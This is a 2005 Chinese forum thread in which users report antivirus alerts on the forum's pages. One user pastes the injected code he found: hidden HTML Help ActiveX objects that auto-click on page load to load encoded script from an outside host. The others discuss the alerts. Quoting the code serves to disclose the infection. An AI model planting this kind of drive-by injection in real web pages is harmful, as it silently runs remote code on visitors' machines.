论坛网页上有病毒？

LucasLynn · 发表于 2005-7-7 02:28:00

以下是引用zhuyiwen在2005-7-5 22:05:00的发言：

你改用NORTON试试是否报警？我的感觉是杀毒软件误报！

不是误报，我看了被隔离的文件，确实是病毒代码。

newofficer · 发表于 2005-7-7 03:00:00

norton是不报，但一般打开页面时，会有一个帮助窗口闪一下，不知道是怎么回事。

LucasLynn · 发表于 2005-7-7 03:10:00

这是病毒源码，

<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>

<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>

<HTML>

<BODY>

<div style="display:none">

<OBJECT id="cctv" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<ARAM name="Command" value="Related Topics, MENU">

<ARAM name="Window" value="$global_ifl">

<ARAM name="Item1" value='command;file://C:\WINDOWS\Help\apps.chm'>

</OBJECT>

<OBJECT id="zgds" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">

<PARAM name="Item1" value='command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"[url=http://www.cnd1.com.cn/bbs003302.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")']http://www.cnd1.com.cn/bbs003302.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'[/url]>

</OBJECT>

</div>

<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>

</BODY>

</HTML>

其中bbs003302.gif实际上是Encode的JS代码

wangxuefeng · 发表于 2005-7-8 01:02:00

我用的是 norton ,也提示病毒。大家快跑呀，病毒来了。

静儿 · 发表于 2005-7-8 01:58:00

既然已被查出并删除，那它就不会感染系统了，有免疫力就不怕感冒。呵呵

LucasLynn · 发表于 2005-7-8 03:03:00

以下是引用静儿在2005-7-7 17:58:00的发言：

既然已被查出并删除，那它就不会感染系统了，有免疫力就不怕感冒。呵呵

但是每开一个网页要弹两个病毒警告框，你不觉得很烦？

至少我觉得……

yelang771 · 发表于 2005-7-8 03:50:00

ft﹐俺的是三個。。。繁死。。。

wuaza · 发表于 2005-7-8 05:31:00

反正近期我是不敢再来了。

YXY123 · 发表于 2005-7-8 14:34:00

警报!真的是病毒耶

mrl · 发表于 2005-7-9 05:13:00

点解我的金山毒霸6没有响警报

帐号		自动登录	找回密码
密码			注册

群介绍
Access培训群 (792054000)
Access免费培训2群 (163530137)
Access免费培训群 (833510950)
Access免费培训群2 (792054000)
Access交流总群 (5004108)

主题相关群

地区相关群[您还没设置居住地]

[其它] 论坛网页上有病毒？

群介绍
主题无相 (随机显示版	同地区群块其他地区)